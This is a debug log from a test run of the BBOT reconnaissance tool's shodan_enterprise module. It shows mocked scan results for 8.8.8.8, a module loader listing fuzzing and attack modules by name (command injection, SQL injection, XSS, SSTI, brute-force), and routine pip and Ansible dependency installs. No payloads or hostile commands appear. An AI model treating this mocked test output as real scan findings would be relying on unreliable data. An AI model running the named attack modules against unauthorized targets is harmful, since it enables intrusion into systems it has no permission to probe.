module=shodan_enterprise, tags=set()) passed post-check -2026-02-27 22:06:21,223 [DEBUG] bbot.modules.output.python base.py:1563 Got TECHNOLOGY("{'host': '8.8.8.8', 'technology': 'HSTS'}", module=shodan_enterprise, tags={'security', 'in-scope', 'web-technology'}) from shodan_enterprise -2026-02-27 22:06:21,224 [DEBUG] bbot.modules.output.python base.py:1563 TECHNOLOGY("{'host': '8.8.8.8', 'technology': 'HSTS'}", module=shodan_enterprise, tags={'security', 'in-scope', 'web-technology'}) passed post-check -2026-02-27 22:06:21,224 [DEBUG] bbot.modules.output.python base.py:1563 Got OPEN_TCP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'in-scope'}) from shodan_enterprise -2026-02-27 22:06:21,224 [DEBUG] bbot.modules.output.python base.py:1563 OPEN_TCP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'in-scope'}) passed post-check -2026-02-27 22:06:21,225 [DEBUG] bbot.modules.output.python base.py:1563 Got OPEN_TCP_PORT("8.8.8.8:443", module=shodan_enterprise, tags={'in-scope'}) from shodan_enterprise -2026-02-27 22:06:21,225 [DEBUG] bbot.modules.output.python base.py:1563 OPEN_TCP_PORT("8.8.8.8:443", module=shodan_enterprise, tags={'in-scope'}) passed post-check -2026-02-27 22:06:21,225 [INFO] bbot.scanner scanner.py:790 Finishing scan -2026-02-27 22:06:21,226 [DEBUG] bbot.modules.shodan_enterprise base.py:1563 Queueing FINISHED("FINISHED", module=None, tags={'shodan-enterprise'}) because its type is FINISHED -2026-02-27 22:06:21,227 [DEBUG] bbot.modules.internal.unarchive base.py:1563 Queueing FINISHED("FINISHED", module=None, tags={'unarchive'}) because its type is FINISHED -2026-02-27 22:06:21,228 [DEBUG] bbot.modules.output.python base.py:1563 Queueing FINISHED("FINISHED", module=None, tags={'python'}) because its type is FINISHED -2026-02-27 22:06:21,228 [VERBOSE] bbot.scanner scanner.py:1181 Completed finish() -2026-02-27 22:06:21,229 [DEBUG] bbot.scanner scanner.py:1176 Setting scan status to FINISHING -2026-02-27 22:06:21,229 [DEBUG] bbot.modules.shodan_enterprise base.py:1563 Got FINISHED("FINISHED", module=None, tags={'shodan-enterprise'}) from None -2026-02-27 22:06:21,229 [DEBUG] bbot.modules.internal.unarchive base.py:1563 Got FINISHED("FINISHED", module=None, tags={'unarchive'}) from None -2026-02-27 22:06:21,330 [DEBUG] bbot.modules.output.python base.py:1563 Got FINISHED("FINISHED", module=None, tags={'python'}) from None -2026-02-27 22:06:21,331 [VERBOSE] bbot.scanner scanner.py:1181 Completed final finish() -2026-02-27 22:06:21,350 [DEBUG] bbot.scanner scanner.py:1176 Cancelling all scan tasks -2026-02-27 22:06:21,351 [DEBUG] bbot.scanner scanner.py:1176 Finished cancelling all scan tasks -2026-02-27 22:06:21,352 [DEBUG] bbot.scanner scanner.py:1176 Awaiting 42 tasks -2026-02-27 22:06:21,364 [DEBUG] bbot.scanner scanner.py:1176 Awaited 42 tasks -2026-02-27 22:06:21,365 [VERBOSE] bbot.core.dnshelper engine.py:334 EngineClient DNSHelper: shutting down... -2026-02-27 22:06:21,366 [DEBUG] bbot.scanner scanner.py:1176 Setting scan status to CLEANING_UP -2026-02-27 22:06:21,367 [VERBOSE] bbot.core.dnsengine engine.py:509 EngineServer DNSEngine got shutdown signal -2026-02-27 22:06:21,368 [VERBOSE] bbot.core.dnsengine engine.py:551 EngineServer DNSEngine: shutting down... -2026-02-27 22:06:21,369 [VERBOSE] bbot.core.dnsengine engine.py:564 EngineServer DNSEngine: finished shutting down -2026-02-27 22:06:21,494 [HUGESUCCESS] bbot.scanner scanner.py:1206 Scan testshodan_enterprise_test_11kmtpu54e completed in 0 seconds with status FINISHED -2026-02-27 22:06:21,494 [DEBUG] bbot base.py:113 Finished shodan_enterprise module test -2026-02-27 22:06:21,496 [DEBUG] asyncio selector_events.py:54 Using selector: KqueueSelector -2026-02-27 22:06:21,497 [CRITICAL] bbot test_module_shodan_enterprise.py:68 Found 1 ASN events -2026-02-27 22:06:21,497 [HUGEINFO] bbot test_module_shodan_enterprise.py:74 ASN Data: {'asn': '15169', 'name': 'Google LLC', 'description': 'Google LLC', 'country': 'US'} -2026-02-27 22:06:56,607 [DEBUG] bbot.module_loader modules.py:141 Preloading modules from /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules/internal -2026-02-27 22:06:56,620 [DEBUG] bbot.module_loader modules.py:152 Preloading aggregate from cache -2026-02-27 22:06:56,621 [DEBUG] bbot.module_loader modules.py:152 Preloading cloudcheck from cache -2026-02-27 22:06:56,622 [DEBUG] bbot.module_loader modules.py:152 Preloading excavate from cache -2026-02-27 22:06:56,624 [DEBUG] bbot.module_loader modules.py:152 Preloading speculate from cache -2026-02-27 22:06:56,626 [DEBUG] bbot.module_loader modules.py:152 Preloading unarchive from cache -2026-02-27 22:06:56,628 [DEBUG] bbot.module_loader modules.py:152 Preloading dnsresolve from cache -2026-02-27 22:06:56,628 [DEBUG] bbot.module_loader modules.py:141 Preloading modules from /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules -2026-02-27 22:06:56,629 [DEBUG] bbot.module_loader modules.py:152 Preloading urlscan from cache -2026-02-27 22:06:56,630 [DEBUG] bbot.module_loader modules.py:152 Preloading jadx from cache -2026-02-27 22:06:56,632 [DEBUG] bbot.module_loader modules.py:152 Preloading trufflehog from cache -2026-02-27 22:06:56,634 [DEBUG] bbot.module_loader modules.py:152 Preloading host_header from cache -2026-02-27 22:06:56,635 [DEBUG] bbot.module_loader modules.py:152 Preloading securitytxt from cache -2026-02-27 22:06:56,637 [DEBUG] bbot.module_loader modules.py:152 Preloading dnsdumpster from cache -2026-02-27 22:06:56,638 [DEBUG] bbot.module_loader modules.py:152 Preloading bevigil from cache -2026-02-27 22:06:56,639 [DEBUG] bbot.module_loader modules.py:152 Preloading bucket_google from cache -2026-02-27 22:06:56,640 [DEBUG] bbot.module_loader modules.py:152 Preloading git from cache -2026-02-27 22:06:56,641 [DEBUG] bbot.module_loader modules.py:152 Preloading azure_realm from cache -2026-02-27 22:06:56,641 [DEBUG] bbot.module_loader modules.py:152 Preloading extractous from cache -2026-02-27 22:06:56,648 [DEBUG] bbot.module_loader modules.py:152 Preloading credshed from cache -2026-02-27 22:06:56,652 [DEBUG] bbot.module_loader modules.py:152 Preloading fullhunt from cache -2026-02-27 22:06:56,653 [DEBUG] bbot.module_loader modules.py:152 Preloading social from cache -2026-02-27 22:06:56,655 [DEBUG] bbot.module_loader modules.py:152 Preloading pgp from cache -2026-02-27 22:06:56,657 [DEBUG] bbot.module_loader modules.py:152 Preloading azure_tenant from cache -2026-02-27 22:06:56,658 [DEBUG] bbot.module_loader modules.py:152 Preloading virustotal from cache -2026-02-27 22:06:56,660 [DEBUG] bbot.module_loader modules.py:152 Preloading vhost from cache -2026-02-27 22:06:56,661 [DEBUG] bbot.module_loader modules.py:152 Preloading shodan_enterprise from cache -2026-02-27 22:06:56,662 [DEBUG] bbot.module_loader modules.py:152 Preloading dnsbrute from cache -2026-02-27 22:06:56,663 [DEBUG] bbot.module_loader modules.py:152 Preloading shodan_dns from cache -2026-02-27 22:06:56,664 [DEBUG] bbot.module_loader modules.py:152 Preloading ip2location from cache -2026-02-27 22:06:56,665 [DEBUG] bbot.module_loader modules.py:152 Preloading rapiddns from cache -2026-02-27 22:06:56,666 [DEBUG] bbot.module_loader modules.py:152 Preloading wpscan from cache -2026-02-27 22:06:56,668 [DEBUG] bbot.module_loader modules.py:152 Preloading dnscommonsrv from cache -2026-02-27 22:06:56,669 [DEBUG] bbot.module_loader modules.py:152 Preloading passivetotal from cache -2026-02-27 22:06:56,670 [DEBUG] bbot.module_loader modules.py:152 Preloading ntlm from cache -2026-02-27 22:06:56,671 [DEBUG] bbot.module_loader modules.py:152 Preloading trickest from cache -2026-02-27 22:06:56,672 [DEBUG] bbot.module_loader modules.py:152 Preloading google_playstore from cache -2026-02-27 22:06:56,673 [DEBUG] bbot.module_loader modules.py:152 Preloading github_usersearch from cache -2026-02-27 22:06:56,674 [DEBUG] bbot.module_loader modules.py:152 Preloading subdomainradar from cache -2026-02-27 22:06:56,675 [DEBUG] bbot.module_loader modules.py:152 Preloading dockerhub from cache -2026-02-27 22:06:56,676 [DEBUG] bbot.module_loader modules.py:152 Preloading medusa from cache -2026-02-27 22:06:56,678 [DEBUG] bbot.module_loader modules.py:152 Preloading digitorus from cache -2026-02-27 22:06:56,679 [DEBUG] bbot.module_loader modules.py:152 Preloading wafw00f from cache -2026-02-27 22:06:56,680 [DEBUG] bbot.module_loader modules.py:152 Preloading generic_ssrf from cache -2026-02-27 22:06:56,681 [DEBUG] bbot.module_loader modules.py:152 Preloading filedownload from cache -2026-02-27 22:06:56,689 [DEBUG] bbot.module_loader modules.py:152 Preloading chaos from cache -2026-02-27 22:06:56,691 [DEBUG] bbot.module_loader modules.py:152 Preloading httpx from cache -2026-02-27 22:06:56,693 [DEBUG] bbot.module_loader modules.py:152 Preloading baddns_zone from cache -2026-02-27 22:06:56,694 [DEBUG] bbot.module_loader modules.py:152 Preloading graphql_introspection from cache -2026-02-27 22:06:56,696 [DEBUG] bbot.module_loader modules.py:152 Preloading paramminer_headers from cache -2026-02-27 22:06:56,699 [DEBUG] bbot.module_loader modules.py:152 Preloading securitytrails from cache -2026-02-27 22:06:56,700 [DEBUG] bbot.module_loader modules.py:152 Preloading bucket_microsoft from cache -2026-02-27 22:06:56,701 [DEBUG] bbot.module_loader modules.py:152 Preloading viewdns from cache -2026-02-27 22:06:56,702 [DEBUG] bbot.module_loader modules.py:152 Preloading url_manipulation from cache -2026-02-27 22:06:56,703 [DEBUG] bbot.module_loader modules.py:152 Preloading ffuf_shortnames from cache -2026-02-27 22:06:56,705 [DEBUG] bbot.module_loader modules.py:152 Preloading censys_ip from cache -2026-02-27 22:06:56,706 [DEBUG] bbot.module_loader modules.py:152 Preloading builtwith from cache -2026-02-27 22:06:56,707 [DEBUG] bbot.module_loader modules.py:152 Preloading certspotter from cache -2026-02-27 22:06:56,708 [DEBUG] bbot.module_loader modules.py:152 Preloading sslcert from cache -2026-02-27 22:06:56,710 [DEBUG] bbot.module_loader modules.py:152 Preloading gitdumper from cache -2026-02-27 22:06:56,711 [DEBUG] bbot.module_loader modules.py:152 Preloading shodan_idb from cache -2026-02-27 22:06:56,712 [DEBUG] bbot.module_loader modules.py:152 Preloading hackertarget from cache -2026-02-27 22:06:56,713 [DEBUG] bbot.module_loader modules.py:152 Preloading c99 from cache -2026-02-27 22:06:56,715 [DEBUG] bbot.module_loader modules.py:152 Preloading newsletters from cache -2026-02-27 22:06:56,716 [DEBUG] bbot.module_loader modules.py:152 Preloading apkpure from cache -2026-02-27 22:06:56,717 [DEBUG] bbot.module_loader modules.py:152 Preloading crt from cache -2026-02-27 22:06:56,718 [DEBUG] bbot.module_loader modules.py:152 Preloading postman_download from cache -2026-02-27 22:06:56,719 [DEBUG] bbot.module_loader modules.py:152 Preloading hunt from cache -2026-02-27 22:06:56,720 [DEBUG] bbot.module_loader modules.py:152 Preloading ffuf from cache -2026-02-27 22:06:56,722 [DEBUG] bbot.module_loader modules.py:152 Preloading dnsbrute_mutations from cache -2026-02-27 22:06:56,723 [DEBUG] bbot.module_loader modules.py:152 Preloading bucket_firebase from cache -2026-02-27 22:06:56,724 [DEBUG] bbot.module_loader modules.py:152 Preloading nuclei from cache -2026-02-27 22:06:56,726 [DEBUG] bbot.module_loader modules.py:152 Preloading censys_dns from cache -2026-02-27 22:06:56,727 [DEBUG] bbot.module_loader modules.py:152 Preloading retirejs from cache -2026-02-27 22:06:56,728 [DEBUG] bbot.module_loader modules.py:152 Preloading git_clone from cache -2026-02-27 22:06:56,730 [DEBUG] bbot.module_loader modules.py:152 Preloading bucket_amazon from cache -2026-02-27 22:06:56,731 [DEBUG] bbot.module_loader modules.py:152 Preloading bucket_digitalocean from cache -2026-02-27 22:06:56,732 [DEBUG] bbot.module_loader modules.py:152 Preloading skymem from cache -2026-02-27 22:06:56,733 [DEBUG] bbot.module_loader modules.py:152 Preloading hunterio from cache -2026-02-27 22:06:56,734 [DEBUG] bbot.module_loader modules.py:152 Preloading paramminer_cookies from cache -2026-02-27 22:06:56,736 [DEBUG] bbot.module_loader modules.py:152 Preloading postman from cache -2026-02-27 22:06:56,737 [DEBUG] bbot.module_loader modules.py:152 Preloading code_repository from cache -2026-02-27 22:06:56,737 [DEBUG] bbot.module_loader modules.py:152 Preloading gitlab_com from cache -2026-02-27 22:06:56,738 [DEBUG] bbot.module_loader modules.py:152 Preloading dnstlsrpt from cache -2026-02-27 22:06:56,740 [DEBUG] bbot.module_loader modules.py:152 Preloading baddns from cache -2026-02-27 22:06:56,741 [DEBUG] bbot.module_loader modules.py:152 Preloading subdomaincenter from cache -2026-02-27 22:06:56,742 [DEBUG] bbot.module_loader modules.py:152 Preloading wayback from cache -2026-02-27 22:06:56,743 [DEBUG] bbot.module_loader modules.py:152 Preloading ipstack from cache -2026-02-27 22:06:56,744 [DEBUG] bbot.module_loader modules.py:152 Preloading emailformat from cache -2026-02-27 22:06:56,745 [DEBUG] bbot.module_loader modules.py:152 Preloading fingerprintx from cache -2026-02-27 22:06:56,746 [DEBUG] bbot.module_loader modules.py:152 Preloading dnscaa from cache -2026-02-27 22:06:56,748 [DEBUG] bbot.module_loader modules.py:152 Preloading bypass403 from cache -2026-02-27 22:06:56,749 [DEBUG] bbot.module_loader modules.py:152 Preloading leakix from cache -2026-02-27 22:06:56,750 [DEBUG] bbot.module_loader modules.py:152 Preloading paramminer_getparams from cache -2026-02-27 22:06:56,751 [DEBUG] bbot.module_loader modules.py:152 Preloading reflected_parameters from cache -2026-02-27 22:06:56,752 [DEBUG] bbot.module_loader modules.py:152 Preloading crt_db from cache -2026-02-27 22:06:56,753 [DEBUG] bbot.module_loader modules.py:152 Preloading bucket_file_enum from cache -2026-02-27 22:06:56,754 [DEBUG] bbot.module_loader modules.py:152 Preloading portscan from cache -2026-02-27 22:06:56,756 [DEBUG] bbot.module_loader modules.py:152 Preloading baddns_direct from cache -2026-02-27 22:06:56,757 [DEBUG] bbot.module_loader modules.py:152 Preloading ajaxpro from cache -2026-02-27 22:06:56,758 [DEBUG] bbot.module_loader modules.py:152 Preloading telerik from cache -2026-02-27 22:06:56,759 [DEBUG] bbot.module_loader modules.py:152 Preloading dnsbimi from cache -2026-02-27 22:06:56,760 [DEBUG] bbot.module_loader modules.py:152 Preloading aspnet_bin_exposure from cache -2026-02-27 22:06:56,761 [DEBUG] bbot.module_loader modules.py:152 Preloading otx from cache -2026-02-27 22:06:56,762 [DEBUG] bbot.module_loader modules.py:152 Preloading github_codesearch from cache -2026-02-27 22:06:56,763 [DEBUG] bbot.module_loader modules.py:152 Preloading dehashed from cache -2026-02-27 22:06:56,764 [DEBUG] bbot.module_loader modules.py:152 Preloading gowitness from cache -2026-02-27 22:06:56,766 [DEBUG] bbot.module_loader modules.py:152 Preloading docker_pull from cache -2026-02-27 22:06:56,767 [DEBUG] bbot.module_loader modules.py:152 Preloading ipneighbor from cache -2026-02-27 22:06:56,768 [DEBUG] bbot.module_loader modules.py:152 Preloading bufferoverrun from cache -2026-02-27 22:06:56,769 [DEBUG] bbot.module_loader modules.py:152 Preloading gitlab_onprem from cache -2026-02-27 22:06:56,770 [DEBUG] bbot.module_loader modules.py:152 Preloading iis_shortnames from cache -2026-02-27 22:06:56,772 [DEBUG] bbot.module_loader modules.py:152 Preloading badsecrets from cache -2026-02-27 22:06:56,772 [DEBUG] bbot.module_loader modules.py:152 Preloading myssl from cache -2026-02-27 22:06:56,773 [DEBUG] bbot.module_loader modules.py:152 Preloading github_workflows from cache -2026-02-27 22:06:56,774 [DEBUG] bbot.module_loader modules.py:152 Preloading dotnetnuke from cache -2026-02-27 22:06:56,775 [DEBUG] bbot.module_loader modules.py:152 Preloading smuggler from cache -2026-02-27 22:06:56,776 [DEBUG] bbot.module_loader modules.py:152 Preloading robots from cache -2026-02-27 22:06:56,777 [DEBUG] bbot.module_loader modules.py:152 Preloading anubisdb from cache -2026-02-27 22:06:56,778 [DEBUG] bbot.module_loader modules.py:152 Preloading oauth from cache -2026-02-27 22:06:56,780 [DEBUG] bbot.module_loader modules.py:152 Preloading github_org from cache -2026-02-27 22:06:56,782 [DEBUG] bbot.module_loader modules.py:152 Preloading portfilter from cache -2026-02-27 22:06:56,783 [DEBUG] bbot.module_loader modules.py:152 Preloading sitedossier from cache -2026-02-27 22:06:56,784 [DEBUG] bbot.module_loader modules.py:141 Preloading modules from /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules/lightfuzz/submodules -2026-02-27 22:06:56,785 [DEBUG] bbot.module_loader modules.py:154 Preloading esi from disk -2026-02-27 22:06:56,786 [DEBUG] bbot.module_loader modules.py:351 Skipping /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules/lightfuzz/submodules/esi.py as it is not a valid BBOT module -2026-02-27 22:06:56,786 [DEBUG] bbot.module_loader modules.py:154 Preloading cmdi from disk -2026-02-27 22:06:56,788 [DEBUG] bbot.module_loader modules.py:351 Skipping /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules/lightfuzz/submodules/cmdi.py as it is not a valid BBOT module -2026-02-27 22:06:56,789 [DEBUG] bbot.module_loader modules.py:154 Preloading xss from disk -2026-02-27 22:06:56,791 [DEBUG] bbot.module_loader modules.py:351 Skipping /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules/lightfuzz/submodules/xss.py as it is not a valid BBOT module -2026-02-27 22:06:56,792 [DEBUG] bbot.module_loader modules.py:154 Preloading crypto from disk -2026-02-27 22:06:56,796 [DEBUG] bbot.module_loader modules.py:351 Skipping /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules/lightfuzz/submodules/crypto.py as it is not a valid BBOT module -2026-02-27 22:06:56,798 [DEBUG] bbot.module_loader modules.py:154 Preloading serial from disk -2026-02-27 22:06:56,800 [DEBUG] bbot.module_loader modules.py:351 Skipping /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules/lightfuzz/submodules/serial.py as it is not a valid BBOT module -2026-02-27 22:06:56,802 [DEBUG] bbot.module_loader modules.py:154 Preloading sqli from disk -2026-02-27 22:06:56,804 [DEBUG] bbot.module_loader modules.py:351 Skipping /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules/lightfuzz/submodules/sqli.py as it is not a valid BBOT module -2026-02-27 22:06:56,805 [DEBUG] bbot.module_loader modules.py:154 Preloading path from disk -2026-02-27 22:06:56,807 [DEBUG] bbot.module_loader modules.py:351 Skipping /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules/lightfuzz/submodules/path.py as it is not a valid BBOT module -2026-02-27 22:06:56,808 [DEBUG] bbot.module_loader modules.py:154 Preloading ssti from disk -2026-02-27 22:06:56,809 [DEBUG] bbot.module_loader modules.py:351 Skipping /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules/lightfuzz/submodules/ssti.py as it is not a valid BBOT module -2026-02-27 22:06:56,809 [DEBUG] bbot.module_loader modules.py:141 Preloading modules from /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules/templates -2026-02-27 22:06:56,812 [DEBUG] bbot.module_loader modules.py:141 Preloading modules from /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules/output -2026-02-27 22:06:56,813 [DEBUG] bbot.module_loader modules.py:152 Preloading web_parameters from cache -2026-02-27 22:06:56,815 [DEBUG] bbot.module_loader modules.py:152 Preloading discord from cache -2026-02-27 22:06:56,817 [DEBUG] bbot.module_loader modules.py:152 Preloading emails from cache -2026-02-27 22:06:56,818 [DEBUG] bbot.module_loader modules.py:152 Preloading teams from cache -2026-02-27 22:06:56,820 [DEBUG] bbot.module_loader modules.py:152 Preloading txt from cache -2026-02-27 22:06:56,821 [DEBUG] bbot.module_loader modules.py:152 Preloading neo4j from cache -2026-02-27 22:06:56,822 [DEBUG] bbot.module_loader modules.py:152 Preloading asset_inventory from cache -2026-02-27 22:06:56,823 [DEBUG] bbot.module_loader modules.py:152 Preloading sqlite from cache -2026-02-27 22:06:56,824 [DEBUG] bbot.module_loader modules.py:152 Preloading web_report from cache -2026-02-27 22:06:56,825 [DEBUG] bbot.module_loader modules.py:152 Preloading http from cache -2026-02-27 22:06:56,827 [DEBUG] bbot.module_loader modules.py:152 Preloading csv from cache -2026-02-27 22:06:56,828 [DEBUG] bbot.module_loader modules.py:152 Preloading postgres from cache -2026-02-27 22:06:56,830 [DEBUG] bbot.module_loader modules.py:152 Preloading python from cache -2026-02-27 22:06:56,831 [DEBUG] bbot.module_loader modules.py:152 Preloading subdomains from cache -2026-02-27 22:06:56,832 [DEBUG] bbot.module_loader modules.py:152 Preloading stdout from cache -2026-02-27 22:06:56,834 [DEBUG] bbot.module_loader modules.py:152 Preloading nmap_xml from cache -2026-02-27 22:06:56,835 [DEBUG] bbot.module_loader modules.py:152 Preloading json from cache -2026-02-27 22:06:56,836 [DEBUG] bbot.module_loader modules.py:152 Preloading slack from cache -2026-02-27 22:06:56,837 [DEBUG] bbot.module_loader modules.py:152 Preloading splunk from cache -2026-02-27 22:06:56,839 [DEBUG] bbot.module_loader modules.py:152 Preloading mysql from cache -2026-02-27 22:06:56,840 [DEBUG] bbot.module_loader modules.py:152 Preloading websocket from cache -2026-02-27 22:06:56,841 [DEBUG] bbot.module_loader modules.py:141 Preloading modules from /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules/deadly -2026-02-27 22:06:56,843 [DEBUG] bbot.module_loader modules.py:152 Preloading legba from cache -2026-02-27 22:06:56,845 [DEBUG] bbot.module_loader modules.py:141 Preloading modules from /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules/lightfuzz -2026-02-27 22:06:56,846 [DEBUG] bbot.module_loader modules.py:152 Preloading lightfuzz from cache -2026-02-27 22:06:56,849 [DEBUG] bbot.module_loader modules.py:141 Preloading modules from /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules/report -2026-02-27 22:06:56,850 [DEBUG] bbot.module_loader modules.py:152 Preloading asn from cache -2026-02-27 22:06:56,852 [DEBUG] bbot.module_loader modules.py:152 Preloading affiliates from cache -2026-02-27 22:06:57,038 [DEBUG] filelock _api.py:331 Attempting to acquire lock 4404460032 on /Users/andriikerekhovetskyi/.cache/python-tldextract/3.10.13.final__bbot-hEZ38Iko-py3.10__991bc2__tldextract-5.3.0/publicsuffix.org-tlds/de84b5ca2167d4c83e38fb162f2e8738.tldextract.json.lock -2026-02-27 22:06:57,038 [DEBUG] filelock _api.py:334 Lock 4404460032 acquired on /Users/andriikerekhovetskyi/.cache/python-tldextract/3.10.13.final__bbot-hEZ38Iko-py3.10__991bc2__tldextract-5.3.0/publicsuffix.org-tlds/de84b5ca2167d4c83e38fb162f2e8738.tldextract.json.lock -2026-02-27 22:06:57,040 [DEBUG] filelock _api.py:364 Attempting to release lock 4404460032 on /Users/andriikerekhovetskyi/.cache/python-tldextract/3.10.13.final__bbot-hEZ38Iko-py3.10__991bc2__tldextract-5.3.0/publicsuffix.org-tlds/de84b5ca2167d4c83e38fb162f2e8738.tldextract.json.lock -2026-02-27 22:06:57,040 [DEBUG] filelock _api.py:367 Lock 4404460032 released on /Users/andriikerekhovetskyi/.cache/python-tldextract/3.10.13.final__bbot-hEZ38Iko-py3.10__991bc2__tldextract-5.3.0/publicsuffix.org-tlds/de84b5ca2167d4c83e38fb162f2e8738.tldextract.json.lock -2026-02-27 22:06:58,201 [DEBUG] asyncio selector_events.py:54 Using selector: KqueueSelector -2026-02-27 22:06:58,201 [DEBUG] asyncio selector_events.py:54 Using selector: KqueueSelector -2026-02-27 22:06:58,202 [INFO] bbot base.py:99 Starting shodan_enterprise module test -2026-02-27 22:06:58,349 [DEBUG] bbot.presets preset.py:1003 Preset : Getting baked -2026-02-27 22:06:58,940 [DEBUG] bbot.presets preset.py:1003 Preset : Adding module "shodan_enterprise" of type "scan" -2026-02-27 22:06:58,941 [DEBUG] bbot.presets preset.py:1003 Preset : Adding module "python" of type "output" -2026-02-27 22:06:58,941 [DEBUG] bbot.presets preset.py:1003 Preset : Adding module "unarchive" of type "internal" -2026-02-27 22:06:58,941 [DEBUG] bbot.presets preset.py:1003 Preset : Adding module "dnsresolve" of type "internal" -2026-02-27 22:06:59,167 [WARNING] bbot.scanner scanner.py:1211 You have enabled custom HTTP headers. These will be attached to all in-scope requests and all requests made by httpx. -2026-02-27 22:06:59,168 [DEBUG] bbot base.py:103 Mocking DNS -2026-02-27 22:06:59,280 [DEBUG] bbot base.py:105 Executing setup_before_prep() -2026-02-27 22:06:59,280 [DEBUG] bbot base.py:107 Executing scan._prep() -2026-02-27 22:06:59,338 [HUGEINFO] bbot.scanner scanner.py:1196 Scan seeded with 1 targets (1 in whitelist) -2026-02-27 22:06:59,340 [INFO] bbot.core.helpers.depsinstaller installer.py:470 Installing Ansible Community General Collection -2026-02-27 22:06:59,341 [HUGEVERBOSE] bbot.core.helpers.command command.py:198 run: /Users/andriikerekhovetskyi/Library/Caches/pypoetry/virtualenvs/bbot-hEZ38Iko-py3.10/bin/ansible-galaxy collection install community.general -2026-02-27 22:06:59,893 [INFO] bbot.core.helpers.depsinstaller installer.py:475 Successfully installed Ansible Community General Collection -2026-02-27 22:06:59,894 [INFO] bbot.core.helpers.depsinstaller installer.py:492 Installing core BBOT dependencies: openssl_dev_headers -2026-02-27 22:07:02,730 [SUCCESS] bbot.core.helpers.depsinstaller installer.py:440 Authentication successful -2026-02-27 22:07:02,731 [DEBUG] bbot.core.helpers.depsinstaller installer.py:363 ansible_run(module=None, args=None, ansible_args=None) -2026-02-27 22:07:02,731 [DEBUG] bbot.core.helpers.depsinstaller installer.py:375 { - "hosts": "all", - "tasks": [ - { - "name": "Install OpenSSL library and development headers (Debian/Ubuntu)", - "package": { - "name": [ - "libssl-dev", - "openssl" - ], - "state": "present" - }, - "become": false, - "when": "ansible_facts['os_family'] == 'Debian'", - "ignore_errors": true - }, - { - "name": "Install OpenSSL library and development headers (RedHat/CentOS/Fedora)", - "package": { - "name": [ - "openssl", - "openssl-devel" - ], - "state": "present" - }, - "become": false, - "when": "ansible_facts['os_family'] == 'RedHat' or ansible_facts['os_family'] == 'Suse' ", - "ignore_errors": true - }, - { - "name": "Install OpenSSL library and development headers (Arch)", - "package": { - "name": [ - "openssl" - ], - "state": "present" - }, - "become": false, - "when": "ansible_facts['os_family'] == 'Archlinux'", - "ignore_errors": true - }, - { - "name": "Install OpenSSL library and development headers (Alpine)", - "package": { - "name": [ - "openssl", - "openssl-dev" - ], - "state": "present" - }, - "become": false, - "when": "ansible_facts['os_family'] == 'Alpine'", - "ignore_errors": true - }, - { - "name": "Install OpenSSL library and development headers (FreeBSD)", - "package": { - "name": [ - "openssl" - ], - "state": "present" - }, - "become": false, - "when": "ansible_facts['os_family'] == 'FreeBSD'", - "ignore_errors": true - } - ] -} -2026-02-27 22:07:04,879 [DEBUG] bbot.core.helpers.depsinstaller installer.py:397 Ansible status: successful -2026-02-27 22:07:04,880 [DEBUG] bbot.core.helpers.depsinstaller installer.py:398 Ansible return code: 0 -2026-02-27 22:07:04,885 [DEBUG] bbot.core.helpers.depsinstaller installer.py:170 Installing shodan_enterprise - Preloaded Deps {'modules': [], 'pip': ['shodan'], 'pip_constraints': [], 'shell': [], 'apt': [], 'ansible': [], 'common': []} -2026-02-27 22:07:04,886 [HUGEINFO] bbot.core.helpers.depsinstaller installer.py:193 Installing module dependencies. Please be patient, this may take a while. -2026-02-27 22:07:04,886 [VERBOSE] bbot.core.helpers.depsinstaller installer.py:195 Installing dependencies for module "shodan_enterprise" -2026-02-27 22:07:04,886 [INFO] bbot.core.helpers.depsinstaller installer.py:269 Installing the following pip packages: shodan -2026-02-27 22:07:04,891 [HUGEVERBOSE] bbot.core.helpers.command command.py:198 run: /Users/andriikerekhovetskyi/Library/Caches/pypoetry/virtualenvs/bbot-hEZ38Iko-py3.10/bin/python -m pip install --upgrade shodan --constraint /private/tmp/.bbot_test/temp/ft3nu03db4du526g7qhm -2026-02-27 22:07:05,771 [INFO] bbot.core.helpers.depsinstaller installer.py:288 Requirement already satisfied: filelock>=3.0.8 in /Users/andriikerekhovetskyi/Library/Caches/pypoetry/virtualenvs/bbot-hEZ38Iko-py3.10/lib/python3.10/site-packages (from tldextract->shodan) (3.18.0) -2026-02-27 22:07:05,772 [DEBUG] bbot.core.helpers.depsinstaller installer.py:202 Setup succeeded for module "shodan_enterprise" -2026-02-27 22:07:05,773 [DEBUG] bbot.core.helpers.depsinstaller installer.py:170 Installing python - Preloaded Deps {'modules': [], 'pip': [], 'pip_constraints': [], 'shell': [], 'apt': [], 'ansible': [], 'common': []} -2026-02-27 22:07:05,773 [DEBUG] bbot.core.helpers.depsinstaller installer.py:183 No dependency work to do for module "python" -2026-02-27 22:07:05,773 [DEBUG] bbot.core.helpers.depsinstaller installer.py:170 Installing dnsresolve - Preloaded Deps {'modules': [], 'pip': [], 'pip_constraints': [], 'shell': [], 'apt': [], 'ansible': [], 'common': []} -2026-02-27 22:07:05,774 [DEBUG] bbot.core.helpers.depsinstaller installer.py:183 No dependency work to do for module "dnsresolve" -2026-02-27 22:07:05,774 [DEBUG] bbot.core.helpers.depsinstaller installer.py:170 Installing unarchive - Preloaded Deps {'modules': [], 'pip': [], 'pip_constraints': [], 'shell': [], 'apt': [], 'ansible': [], 'common': []} -2026-02-27 22:07:05,774 [DEBUG] bbot.core.helpers.depsinstaller installer.py:183 No dependency work to do for module "unarchive" -2026-02-27 22:07:05,776 [VERBOSE] bbot.scanner scanner.py:1181 Loading 1 scan modules: shodan_enterprise -2026-02-27 22:07:05,909 [VERBOSE] bbot.scanner scanner.py:1181 Loaded module "shodan_enterprise" 